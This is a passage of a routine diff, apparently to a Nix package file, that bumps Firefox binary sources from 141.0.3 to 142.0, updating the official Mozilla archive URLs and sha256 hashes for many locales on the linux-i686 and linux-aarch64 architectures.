-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/it/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/it/firefox-142.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "c68e6398ecf2340b9516089feb915a55401a23a1d4138895d44641aad1091ad5";
+      sha256 = "a7bcd566f3266e3d4f0d67b68ec781487edfb9816bf7d7a3f3957ff250d53792";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ja/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ja/firefox-142.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "279d36dc35f593b9c68c46340a20b97b70bae6d3494b7d5ee96a113a7722e27c";
+      sha256 = "9e757db38e70f46b3393e9f2a9d499def057e0a87ea94d2480e70ad887b8da57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ka/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ka/firefox-142.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "4486869af0c7f5914cebac5f2a74367d9f004a5e0fdc8e6873401c7c0ef4499f";
+      sha256 = "63505998a10b74c7e089e67e1250c5234f0434617604637f2be5c593b85a5ce0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/kab/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/kab/firefox-142.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "e1e3a336cfcd28c0f5c1397f30518c05faa32c0dbe0876a99e531a8bfa5b6aec";
+      sha256 = "64a59aa70cff48617dfb7acfe21ddb812f16a563beffe1af22dcf118ae58f6d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/kk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/kk/firefox-142.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "27da62cc3e408b942c0927267777b7e2d1be0ca574cca7f17337e8c688e7026e";
+      sha256 = "5399b8052f93b456382a64cdbe93526e1d1de1971f58da7b29d2b40bc9f48afb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/km/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/km/firefox-142.0.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "8db765bb108f2038dacc7aee071903b1ffb910c4b10aad87bec6013db7ef4355";
+      sha256 = "0652ac26570ab69d0398e12764bdeb67053f199c88afd1c1c8cb7eb76ed2ce71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/kn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/kn/firefox-142.0.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "cc44ac2dfad32c45d848323f5054870ca637cd909145716d32b58ca95a396d18";
+      sha256 = "48f5478cce2a00395e98400862b78b72f3bd8b6a58c14620b2c5e2b18e5d82dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ko/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ko/firefox-142.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "058c043c7414f3ec6fa71d2fc62a894b0261eb9b922b3a201e4bcfecb4614214";
+      sha256 = "e5291cdc1f708828add197c76f2c7d80e331bcb09d55822c2554264eb7545a79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/lij/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/lij/firefox-142.0.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "7534342ba4d7b8698c3a1b337dbaabf287fd6bb015ac3ca49e2710a1b9178f27";
+      sha256 = "1b52beca4930c15fc4807a808c5b65b6c13cc72128756e8b8bf97f50980d1c26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/lt/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/lt/firefox-142.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "8905db0bf688308e7ab00947a02fbd4d8e635819ffb47074e8f1ab88bd97a7cc";
+      sha256 = "beaf21a8b9d287a3ea8a4206d28ec9b4e02ddfc3ff2520948158386374687058";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/lv/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/lv/firefox-142.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "e30336009649d3b6245b902b3991de1a8c051ef8cbbf59c032e3870f55891e2a";
+      sha256 = "3db45120dd104017b53cf6cc6b2c271a3bc92a0029c365c23e5053c9a1c58302";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/mk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/mk/firefox-142.0.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "e987c8a0a465bcd0a8a44c60b6099456ca33fa2bda45c91d5d7bd5ec89b0b5fb";
+      sha256 = "3cf2d3bbfe82b6cf710255b33c5fbaebae3c9580f6c9508ec3aa9285b5da0176";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/mr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/mr/firefox-142.0.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "deca7494d6d5be56c4d4552815ce6cfa2827ca36d71994eb41277bdc4e6d1da8";
+      sha256 = "a3ad66e409cdf21c091c96383480e4871973b7749e3c2e454d3f9680daca3921";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ms/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ms/firefox-142.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "ee8f4bc73f5f15a794e827b8eaed14d4d7b1d80572dcef1a1b34dd123495e8fe";
+      sha256 = "c60c8bc1638e2d57dd2554356a22a2b040a6c5e16433134f2c165a12a55396e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/my/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/my/firefox-142.0.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "3d22a28e3b532aca6003f308c16066c9f5c65a9ef1879139cc768b4aabfaa58a";
+      sha256 = "cd84aa70b2d837e16a941ac7ac6cf9c9c7c0308289e1fd028ad40e360dcf7a90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/nb-NO/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/nb-NO/firefox-142.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "029fc76180e5fae9269823b9e1d1b4e93811a786d3e03234e916724e61c29758";
+      sha256 = "42d5bb3c134dae5e2f824557af1817af9c9dabbfef6c4ebf1eddacf94080cab0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ne-NP/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ne-NP/firefox-142.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "70ce7680d3ae733bc7126175051637171b95b213419ac77b946463f5808e7bbf";
+      sha256 = "2ce380f9a93ddd55e57245393dde616b38a7fd4e42165f577f0f83977db1fdf1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/nl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/nl/firefox-142.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "9f351f5accac0fa2f0d1629634a3637021e17e43077cd72cb934164d28ae4bba";
+      sha256 = "cf327dee63c04402691040005e4e8ae1fe2b90c5f60a281b92b215a37427a09b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/nn-NO/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/nn-NO/firefox-142.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "291eeed795bc674079b84603af989a80874903f25fe5fb4e3dbe662a60be7cbc";
+      sha256 = "73b165475870e1ad96fe35aaed7de089306d7c50fe5a5f9f14e5a48e253f30a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/oc/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/oc/firefox-142.0.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "4d5a5f4a284596c6e3f2a379edbae1ee13dee348765dbc4dcbac0ac4393855d5";
+      sha256 = "9d168ef2cd974d1432ce0e75ac6fe4a6b7dfe4a6bded8621228d4a8221adc1d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pa-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pa-IN/firefox-142.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "f869cbf5be62cca880d7e399699b8118e11e852306f6c845238014affa439904";
+      sha256 = "0be936468c4dd6c818624b842de91de06422139dfb8c9449196fd16e80e154ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pl/firefox-142.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "9a77a8d285f099ea48662fde12b1d1cc32c09b12db161d1834ae2a745251bd66";
+      sha256 = "8e6bb775643b1c7307ec2a79f8d6bfafc3aea92b39290d13af7cdcfde6cb971d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pt-BR/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pt-BR/firefox-142.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "e8897fb645e1586d39bd6f4f7a9000b81dd77c5226fdd803818f14ef36e6bfb0";
+      sha256 = "ce15b163fe8d71422914b09e0661b547144a41b6beffb2c29aec4e3638e42ee1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pt-PT/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pt-PT/firefox-142.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "47ba2f64adf0c87f27fc633195944e9036128dbf4125784ab799604a4808a65d";
+      sha256 = "9679d819adbda174978fe784976190e51a7eb55347fd7fd12edefcfea2a568c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/rm/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/rm/firefox-142.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "4e5bbdfddc36348ceb803b938df58d21c206a45f2164a27808478b3074838292";
+      sha256 = "3fd17d2f37958fd90212bcdd49537322cb1b407e99bbe897c60edb0b221fda2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ro/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ro/firefox-142.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "62961ce7baf70cf994288796c27e382dd54762d2a2912e9c06d65f987bd202cd";
+      sha256 = "15f201cddc8d8d4afdce5381a617a1a28b9873276f8386191adffd88601e5dbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ru/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ru/firefox-142.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "2b3b6f8ec33ff4543e8385c34e845e83cc9db8ba8946bb6fc77294bb841879f9";
+      sha256 = "96a0eae63272fbf78e5ac2ce4b998247665df26aea801fe6644a8933dcafbafa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sat/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sat/firefox-142.0.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "f8b270f3e69117c49fc0275ccc40cb2aeb70fbca8e6994b977bf65f58ee7df61";
+      sha256 = "517762dc5dad2d87045db2614b840e41d5e899fcd6b875dd160f6e467227f9c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sc/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sc/firefox-142.0.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "989aa6fdff893f79834fa10463c229377e3f3dac4d404a328e429522e6b4c1a9";
+      sha256 = "95146d8cea65a491d42f9f90b3cdacc5796486318ba8cc1b035fdada15ad7883";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sco/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sco/firefox-142.0.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "ac619d732a4b622a12331304ae0855b06451ff34d106bc1536e8509ab4456df0";
+      sha256 = "7daf7c01e4a04a6ed500f1ca1316c4769b8fb39fdffaf97652167f68511fea32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/si/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/si/firefox-142.0.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "04b19be537c54c12c0af20155f46ed0ede22942e8df9dbe438f16a8ecbdfd17b";
+      sha256 = "5e15dead3ac799f3ddd83641efdcd2f1b4ee36ec73a5f47ec71d4c7804ff15c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sk/firefox-142.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "2eda6c4e259c23cdbf17ea0c8ae713d4b3da101ee61c80ca9216d6f01bf28e69";
+      sha256 = "713cf4bec037ea5bca1bbf297ff8c0b1fa245bcd7892253e15b76c52201daa62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/skr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/skr/firefox-142.0.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "e592b838c7b836e0f1fd275838f654e4749afb1e8aa419b88fc1a4a1fc381672";
+      sha256 = "1de8cda0a58961deee46dd8ff8f69f8f6b77138044a604060b5375e23065b69a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sl/firefox-142.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "5b80cb1645510697fd77b850728de50f40c36eec600107c3237cfd2f88f845c9";
+      sha256 = "237b6139152330b08cc0bf283e9b64e787eab66e9bb2d387f4883c491800dca5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/son/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/son/firefox-142.0.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "1f66b812c4119e7ac1bb76ce0efc1d944d3654908b623454472bcf4f271f35fe";
+      sha256 = "b4fbac5fc56f13cfb6864153710cf302011b0cd9eb0ab5dded4d764d23c38727";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sq/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sq/firefox-142.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "b1b2610364a96ccce01a52d4b07de1bdf5586f4694a8347a1d4fcb437083f1ac";
+      sha256 = "1833142469a59677ac14d77e117c9f48a131e2426f8479d965bdff10026157e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sr/firefox-142.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "c610dcabb04413eb39ba9f7d32651b5072c4ca587039046be6d454de8fbc65f9";
+      sha256 = "d3c1ee2af2e53d01e2473d9f2fac53619548f6842ea10446cd1546164a5298f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sv-SE/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sv-SE/firefox-142.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "ab1e185e8960cc392c4827d43f8a3e1d2756d52c6613e16ff91c755eca047906";
+      sha256 = "f1a351c693fd84e37ddf2b74d546651e19142e64bee7074b18533e9ea7657587";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/szl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/szl/firefox-142.0.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "88e42adc490a4a393c8ed32a9b7ba94702340ca17396126b8897dc05004f26b6";
+      sha256 = "158e24ec6ae8ce8535dc9bf591fa546b72fab11406dc3de53f9b28354ff2ae3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ta/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ta/firefox-142.0.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "77e8703de79f79a544820b7a6ed061e9d680a08f1e58d445d9e7c3d067c79a7e";
+      sha256 = "7ba266b5008a6153a2657f48f70e8d7950fcc720c27663399528343fffaae902";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/te/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/te/firefox-142.0.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "5f7aa9b2a274666ff097c76b87c81525faea74547540ea6604b3645ae60f927c";
+      sha256 = "9d3143b5456e8a1ba0efb76b231bdfe3354d642c7516aa5b95c83d5eca938b79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/tg/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/tg/firefox-142.0.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "92b73441177981f5de7a340fe90dd51a6d09e08acb8edc721f9d2eb510d7e37f";
+      sha256 = "e4e6f5b139afdaecbe3bea9ab62409c1455ca6debb966aaf44161ef82ed1a1c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/th/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/th/firefox-142.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "63159b3d68581dd41cdb04842097f44b2098091f800dd57ac6a7b09f3df0ea7d";
+      sha256 = "02cabee434e6b8ce7e7de8efcad6dd9afbd5ea2da3ded23917f94a4dd7402d8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/tl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/tl/firefox-142.0.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "d2df5ca58aeb5ed14acf6227aad446fedeb9cf0447c5470763c95d67dd56b4ce";
+      sha256 = "7a6dd3c7cc30d757bd110b45a73b9b7fbc83a444fff1a57a40dc8e792351cd3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/tr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/tr/firefox-142.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "3817ce3d37ab5492dd26639e95654e4cd63ea6cfa6725a957055845eee51ed2b";
+      sha256 = "8bb2a68d184bae484b81c930f551d409e1188d982b7b028c3555b6626b4be997";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/trs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/trs/firefox-142.0.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "c567b97771610f00f87ee9e4373e0867bb8f4d97dc42164348055c2f53a9014f";
+      sha256 = "66d3bef4909ec3302a22a04fb5a2e18533e8333b1a9b4f852da1b6d4be0a6f3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/uk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/uk/firefox-142.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "03537230463511135605a16498ad43eb4b7f86691d42faf0ff1f343b4c8b0d54";
+      sha256 = "d7c9caa3786fee3b030aa3d0863c4a6a249e2fbf1823939886d2e1ab805796bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ur/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ur/firefox-142.0.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "7dd1b6d54c44c028bb708289c303220c872d2f3e35941b617d5faffb24140228";
+      sha256 = "25eb662a592733b822e4ad36f8c92e30b49ade8b9eaba2565e37608b9a3a0768";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/uz/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/uz/firefox-142.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "664627334c89fb2fc533c2b15a45b2d793880182108438bce66e842530b42c0d";
+      sha256 = "718ae3e7d35d9b44423820598017fcda7cc47a5a8b41d97187d90543d078c5c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/vi/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/vi/firefox-142.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "a5359392718e892fa2cc430614915efcf7ce35fd1d9644f0d9795f9362f0dc82";
+      sha256 = "5416bfaa74c7922b0c70ccda9367f67a2b4ec073aa6957372decdb5ea7d8f1db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/xh/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/xh/firefox-142.0.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "f195c79de2f44b38342171546fab4b51a7e4dcc3d400e38621004a8605a80451";
+      sha256 = "dacb6de464e9cea8bea906ac8fb5d0227521b10bd37810d7d095c6ffd6db6cae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/zh-CN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/zh-CN/firefox-142.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "978a688036228727b1362235de138e8c45d07bc6f5594ad1fccc23b5bbc03384";
+      sha256 = "8b1e2b1d1f405a6793a8c63f986139165c9127a6f2c195b2fbc253221ba2ed9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/zh-TW/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/zh-TW/firefox-142.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "0b57d860ddae56e11691142f2831d8c157c1261fc8850d3c49da5cce69320b9c";
+      sha256 = "d16edecfcaf3dd39c15e86d3acf065cbf279cb18dcefb235c7eec846580088c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ach/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ach/firefox-142.0.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "e805a97c7c70eb7dda81009a67e198c9d9be31f6ccf7960ef5d589026a79c534";
+      sha256 = "9c4503090dbee52438189b3817c6293d7faeebd820ee72ec85cbb80678c4a39d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/af/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/af/firefox-142.0.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "9f12d3e8adb170fd683ac8a1afdc129671e5626d9c959fc59c9ec92d7f54828b";
+      sha256 = "a0fbb4c547cdc1adcb62cf5dfb317abbd5a4b5a9bb2f2146a7ddb4806b64059a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/an/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/an/firefox-142.0.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "738e71a2bd71b402030be00760835b4d715dc099b476450ffce48517823f7368";
+      sha256 = "ce6c8725f4d98607e805d18fdb834d709fc92f773a778d501cf9f3372e08992d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ar/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ar/firefox-142.0.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "a081b992be71628058d74897787789b5bed97c60846a620eac8e27750f28fd4c";
+      sha256 = "ad1fddef76360bb99cb3420b281fd039f4d530714725f96372ac4179446fe115";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ast/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ast/firefox-142.0.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "4034795ba53c79badf32fc996ae2c82a31bf9bf1a8685a1a3c8cf867257fd659";
+      sha256 = "8fbf7441098dbf7fb4a92a61cd1ac36fec6d6c87de27a3b2523ac1346cc94b33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/az/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/az/firefox-142.0.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "f4f373697bcb3857efd0157c88bd86b6637785c111129dc1a4e7595d2410d768";
+      sha256 = "dd4642ab0d5e9f9ca6899ec4aef78f2745a2ac3c74ec064ce6bd5d060f3eda16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/be/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/be/firefox-142.0.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "f87377d1d9fbc9da5468747cf2292dec97df9c0c8d3faea4c829fc81c14a767f";
+      sha256 = "f95841fae81b471e85c1b503b8807a71402c491a4e53718245244c5cd8be30f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/bg/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/bg/firefox-142.0.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "d1210d16b7e43628a1b9721caa507e7897a463d2c6e2cae37f6c924905f7ce0c";
